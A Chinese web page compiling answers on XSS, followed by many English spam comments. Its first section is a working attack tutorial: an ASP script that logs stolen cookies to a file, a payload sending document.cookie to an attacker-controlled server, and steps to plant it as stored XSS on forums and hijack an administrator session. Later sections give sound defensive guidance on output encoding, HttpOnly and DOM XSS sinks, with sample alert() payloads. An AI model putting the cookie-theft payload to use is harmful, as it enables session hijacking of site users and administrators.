xss终极解决方案(xss支持)

今日出生 2022年05月29日
本文导读目录:

xss漏洞获取cookie怎么解决方案

XSS获取cookie并利用

获取cookie利用代码cookie.asp

html

titlexx/title

body

%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request('msg') //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie

thisfile.close() //关闭

set fs = nothing%

/body

/html

把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。

XSS构造语句

scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script

把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。

简单步骤如下:

1、在存在漏洞的论坛中发日志:

X

2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:

3、这是没有账户前的登陆界面:

4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:

5、替换cookie后不用输用户名密码就顺利进入管理员账户了:

如何防范XSS跨站脚本攻击测试篇

不可信数据 不可信数据通常是来自HTTP请求的数据,以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看,来自数据库、网络服务器和其他来源的数据往往也是不可信的,也就是说,这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕,将其视为包含攻击,这意味着在发送不可信数据之前,应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化,下游直译程序执行的攻击可以迅速蔓延。 传统上来看,输入验证是处理不可信数据的最好办法,然而,输入验证法并不是注入式攻击的最佳解决方案。首先,输入验证通常是在获取数据时开始执行的,而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次,可能更加重要的是,应用程序必须允许潜在危害的字符进入,例如,是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要,但这始终不是解决注入攻击的完整解决方案,最好将输入攻击作为纵深防御措施,而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理,而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码,有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符,而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了,后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码,并不能缓解攻击。但是,如果没有正确理解服务器和浏览器间的目标字符集,有可能导致与非目标字符产生通信,从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具,能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响,仍将正确呈现在浏览器中,解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式,它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式,浏览器作为直译程序,攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系,必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据,主要有两种注入代码的方式: Injecting UP,上行注入 最常见的方式是关闭现有的context并开始一个新的代码context,例如,当你关闭HTML属性时使用"并开始新的 可以终止脚本块,即使该脚本块被注入脚本内方法调用内的引用字符,这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN,下行注入 另一种不太常见的执行XSS注入的方式就是,在不关闭当前context的情况下,引入一个subcontext。例如,将改为 ,并不需要躲开HTML属性context,相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能,虽然你可能无法躲开引用CSS属性来进行上行注入,你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入,例如,可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用,但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲,如果这样做,你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击,你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别,你必须避免所有可能关闭context的字符;下行注入攻击,你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板,模板上有很多插槽,开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的,这是“白名单”模式,否认所有不允许的事情。 根据浏览器解析HTML的方式的不同,每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时,必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说,这种方法将HTML文档当作参数化的数据库查询,数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则,基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试,我们保证本文提出的规则都是安全的。 定义好插槽位置,开发者们在放置任何数据前,都应该仔细分析以确保安全性。浏览器解析是非常棘手的,因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码,如 标签内。也可以对进入属性的不可行数据进行实体编码,尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效,例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename ...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/ inatagname 更重要的是,不要接受来自不可信任来源的JavaScript代码然后运行,例如,名为“callback”的参数就包含JavaScript代码段,没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时,这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是,这对于其他HTML context是远远不够的,你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容,如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体,除了XML中5个重要字符(、、 、 "、 ')外,还加入了斜线符,以帮助结束HTML实体。 -- -- -- "--" '--''isnotrecommended /--/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等),这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则,事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外,使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用,正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏,包括[space] % * + , - / ; = ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的,因为很容易切换到执行环境,因此请小心使用。

Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??

没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str)来对parameter转码。是用filter还是其他方式都可以

什么是xss攻击,如何预防

xss攻击是webshell类中的一种,是跨站攻击,可以通过WAF应用防火墙防御,如果懂技术可以自己写,相关的程序规则进行拦截,返回错误请求信息,或者安装安全狗 云锁之类的,和百度云加速等都带有免费的WAF功能,也可以找智多互联,专业防御各种攻击,提供专业的防御方案

如何正确防御xss攻击

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

如何修复Discuz存储型XSS漏洞(2013-06-20)大神们帮帮忙

漏洞修复可以使用腾讯电脑管家来修复

下载打开腾讯电脑管家,修复漏洞就可以对系统漏洞进行修复扫描了

腾讯电脑管家还可以删除已修复的漏洞,就是说,如果你的电脑与最新的漏洞相冲突,只要在“已安装”中删除就不会有问题了。

腾讯电脑管家的漏洞全部来自微软官网,可靠安全

希望能够帮到你~

我来说两句
黑客技术 3年前 (2022-05-29) | 回复
up,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。
黑客技术 3年前 (2022-05-29) | 回复
iethisfile.close() //关闭set fs = nothing%/body/html把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们
bapehoodie 1年前 (2023-11-29) | 回复
I would like to get across my admiration for your kind-heartedness in support of those people that really want help on this one niche. Your real dedication to passing the message all over had been remarkably effective and have without exception enabled women like me to arrive at their pursuits. Your new invaluable advice means a great deal a person like me and even more to my colleagues. Best wishes; from everyone of us.
kdshoes 1年前 (2023-12-16) | 回复
I precisely wanted to thank you very much once more. I'm not certain the things I would have created without the type of basics shown by you over such a subject matter. Certainly was the scary matter in my circumstances, but encountering the very well-written technique you resolved that forced me to leap with gladness. I'm just happier for the assistance and have high hopes you recognize what a great job that you are getting into teaching many people by way of your webblog. Most likely you have never encountered all of us.
goldengooseleopardsneakers 1年前 (2023-12-26) | 回复
I would like to show my gratitude for your generosity giving support to individuals that should have help on this subject. Your real dedication to getting the solution along came to be rather advantageous and has truly allowed some individuals just like me to realize their desired goals. This warm and helpful instruction means so much to me and especially to my peers. With thanks; from each one of us.
kyrie8 12个月前 (12-28) | 回复
I have to voice my respect for your kind-heartedness giving support to folks that need help with this matter. Your real commitment to getting the message up and down had become quite functional and have continuously empowered employees like me to achieve their dreams. Your amazing important publication can mean so much to me and much more to my office workers. Thank you; from all of us.
hermesoutlet 12个月前 (12-30) | 回复
I would like to express some thanks to you for rescuing me from this type of scenario. Right after looking out through the internet and obtaining methods which are not beneficial, I was thinking my entire life was gone. Being alive devoid of the strategies to the problems you have sorted out through the site is a crucial case, as well as those which may have negatively affected my entire career if I hadn't noticed your website. Your main expertise and kindness in touching all areas was priceless. I'm not sure what I would have done if I hadn't encountered such a solution like this. I can at this moment look forward to my future. Thank you so much for your impressive and effective help. I won't hesitate to refer your web blog to anybody who would like assistance about this issue.
nikeoffwhite 12个月前 (01-03) | 回复
Thank you so much for giving everyone a very breathtaking chance to read critical reviews from this web site. It is usually very lovely and also packed with amusement for me and my office friends to search your site at the very least 3 times in a week to find out the latest stuff you have. And indeed, I'm just certainly pleased considering the astounding points you give. Selected two tips in this article are undeniably the most beneficial we've ever had.
retrojordans 12个月前 (01-04) | 回复
I wish to show some thanks to you for bailing me out of this particular situation. As a result of scouting throughout the online world and obtaining views which are not productive, I thought my life was done. Existing minus the answers to the difficulties you've sorted out through your main post is a critical case, and the ones that might have in a negative way affected my entire career if I had not come across your site. The natural talent and kindness in dealing with almost everything was vital. I am not sure what I would have done if I hadn't come across such a point like this. I can at this point look ahead to my future. Thanks a lot so much for the specialized and results-oriented help. I won't be reluctant to suggest your blog to any individual who should have care about this matter.
platformgoldengoose 12个月前 (01-05) | 回复
Youre so cool! I dont suppose Ive read anything like this before. So nice to search out anyone with some authentic thoughts on this subject. realy thanks for starting this up. this web site is one thing that's needed on the internet, somebody with a little originality. helpful job for bringing something new to the internet!
airjordan 12个月前 (01-05) | 回复
Thanks so much for giving everyone remarkably superb chance to read critical reviews from this website. It is usually very amazing and also jam-packed with a good time for me personally and my office peers to search your site not less than 3 times a week to find out the fresh secrets you will have. And lastly, I am just actually astounded concerning the breathtaking points you give. Selected 2 tips on this page are essentially the very best we have all ever had.
nikesb 12个月前 (01-06) | 回复
I'm also writing to make you understand what a useful discovery my friend's child experienced studying the blog. She came to understand lots of things, most notably how it is like to have a very effective teaching spirit to get men and women with no trouble fully grasp a variety of complex subject matter. You undoubtedly exceeded our own expected results. I appreciate you for providing the interesting, trusted, edifying and in addition fun tips on your topic to Mary.
offwhiteoutlet 12个月前 (01-09) | 回复
Thank you for all of the hard work on this website. Debby really loves conducting research and it is easy to understand why. All of us notice all concerning the lively mode you make efficient guidelines by means of this blog and as well foster contribution from other individuals about this situation plus our favorite princess is discovering so much. Take advantage of the remaining portion of the new year. Your performing a stunning job.
goyardbag 12个月前 (01-10) | 回复
I must convey my gratitude for your generosity giving support to folks that should have assistance with this important study. Your personal commitment to getting the solution all-around appeared to be unbelievably significant and has surely permitted many people just like me to realize their endeavors. The valuable help means a great deal to me and even further to my office colleagues. Warm regards; from each one of us.
offwhite 12个月前 (01-11) | 回复
Needed to post you that very little remark to help say thank you the moment again over the extraordinary solutions you have documented in this case. It has been quite surprisingly generous with people like you in giving openly precisely what a few people could have advertised for an electronic book to help with making some money for themselves, especially seeing that you could have done it if you considered necessary. The good tips additionally worked like the fantastic way to understand that many people have a similar keenness just like my own to find out good deal more in respect of this issue. I am certain there are many more pleasurable instances in the future for individuals that go through your website.
off-white 11个月前 (01-13) | 回复
I and my friends ended up looking through the best pointers on your web page then all of a sudden came up with a horrible feeling I had not expressed respect to the web site owner for those secrets. These young men came absolutely very interested to read through all of them and have now in actuality been tapping into these things. Appreciation for indeed being simply considerate as well as for choosing certain high-quality subject areas most people are really wanting to understand about. My personal honest regret for not expressing appreciation to you earlier.
ggdboutlet 11个月前 (01-14) | 回复
Thank you so much for giving everyone remarkably wonderful chance to discover important secrets from this blog. It's always very cool and as well , packed with a great time for me personally and my office friends to visit your blog not less than 3 times in 7 days to study the latest items you have got. Not to mention, I'm so at all times impressed with your amazing secrets you serve. Selected 2 ideas in this post are easily the most suitable we've had.
hermesoutlet 11个月前 (01-15) | 回复
I enjoy you because of all your valuable efforts on this web page. My mum takes pleasure in managing internet research and it is simple to grasp why. Many of us hear all of the lively form you create both useful and interesting thoughts by means of the website and therefore cause participation from other individuals on this subject matter so my girl is always learning a great deal. Take advantage of the remaining portion of the new year. You are always conducting a powerful job.
fearofgodtshirt 11个月前 (01-17) | 回复
Thank you a lot for giving everyone a very marvellous opportunity to read articles and blog posts from this web site. It's usually very nice plus stuffed with amusement for me personally and my office colleagues to visit the blog a minimum of thrice in a week to read the latest things you have. And of course, I'm also usually fulfilled for the gorgeous principles served by you. Selected 3 facts on this page are undeniably the most efficient I have ever had.
giannisantetokounmposhoes 11个月前 (01-19) | 回复
I have to show some thanks to this writer just for bailing me out of this challenge. After browsing through the search engines and meeting strategies which were not powerful, I assumed my entire life was over. Living devoid of the solutions to the issues you have resolved by way of the post is a critical case, as well as the kind that would have badly damaged my career if I had not discovered your web blog. Your good ability and kindness in maneuvering the whole thing was important. I am not sure what I would've done if I hadn't encountered such a thing like this. It's possible to at this moment look ahead to my future. Thanks for your time so much for the professional and sensible help. I will not think twice to endorse the website to anyone who wants and needs guide on this topic.
supreme 11个月前 (01-19) | 回复
I simply wished to say thanks once again. I am not sure what I would have implemented without these points documented by you about this concern. This has been a real scary matter for me, but looking at the very professional style you processed it took me to jump for fulfillment. Now i am happier for the assistance and even sincerely hope you recognize what a powerful job you are always carrying out educating many people using a web site. Probably you have never come across all of us.
kyrie7 11个月前 (01-20) | 回复
I intended to put you the tiny remark to be able to thank you as before for your personal pleasant things you have shown above. It is simply shockingly generous with you to convey without restraint what a lot of folks would've made available for an e book to generate some cash on their own, even more so given that you might have done it if you wanted. These guidelines in addition acted to be a good way to know that someone else have similar fervor just like my very own to know somewhat more regarding this problem. I'm sure there are lots of more fun sessions in the future for folks who take a look at your site.
jordanshoes 11个月前 (01-22) | 回复
I precisely wished to thank you very much once more. I'm not certain the things I would have worked on in the absence of the type of ideas shown by you relating to that subject matter. Entirely was a real horrifying problem for me personally, but discovering a new professional form you handled the issue took me to jump for contentment. Now i'm thankful for the guidance and in addition sincerely hope you recognize what an amazing job you were carrying out training others all through a blog. I know that you haven't encountered any of us.
airjordan 11个月前 (01-23) | 回复
I really wanted to compose a note to appreciate you for those pleasant tips and tricks you are placing at this website. My time consuming internet investigation has at the end of the day been paid with useful tips to share with my relatives. I 'd mention that most of us visitors actually are extremely blessed to be in a fabulous network with very many outstanding professionals with great hints. I feel somewhat happy to have seen your webpages and look forward to really more fabulous times reading here. Thanks again for a lot of things.